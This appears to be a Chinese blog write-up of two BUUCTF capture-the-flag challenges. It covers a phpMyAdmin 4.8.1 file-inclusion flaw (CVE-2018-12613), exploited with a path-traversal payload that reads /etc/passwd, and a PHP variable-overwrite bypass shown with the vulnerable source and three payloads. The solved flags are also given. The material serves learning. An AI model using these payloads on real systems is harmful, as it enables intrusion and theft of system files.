BUUCTF 我有一个数据库 Mark loves cat

我有一个数据库

打开图片是乱码 源代码也没有任何的东西 扫描一下后台

扫到了3个东西

第一个页面显示

第二个是一个数据库

这个是4.8.1版本的数据库有漏洞可以利用(CVE-2018-12613)

知道这一点就可以直接在百度找他的payload

index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd

 

有回显 直接查flag

 flag{e2922980-02d5-4351-82df-b38c10e0456f}

Mark loves cat

打开链接 没看到有用的信息 查看源代码也没有什么信息 尝试扫一下后台

扫到了git泄露

直接GitHack下载源码

下载完成 查看一下源码 还有一个flag.php 

分析一下

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;      这一块的意思是 post传参 输入$x=$y 回显就是$$x=$y
}

foreach($_GET as $x => $y){
    $$x = $$y;    这一块的意思是 get传参 输入$x=$y 回显是$$x=$$y
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

 

 这道题自己解不出来 看了好几个大佬的wp 才知道这种绕过可以用变量覆盖

这里利用的就是exit函数里面的三个 handsome yds is来绕过

利用 handsome

payload:?handsome=flag&flag=x&x=flag

 

利用yds

/?yds=flag

利用is

/?is=flag&flag=flag

新学到的东西就是变量覆盖漏洞

得到flag flag{4281d569-f7c1-4095-91cf-975c2e8a9a2d}

 

 

 

 

 

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值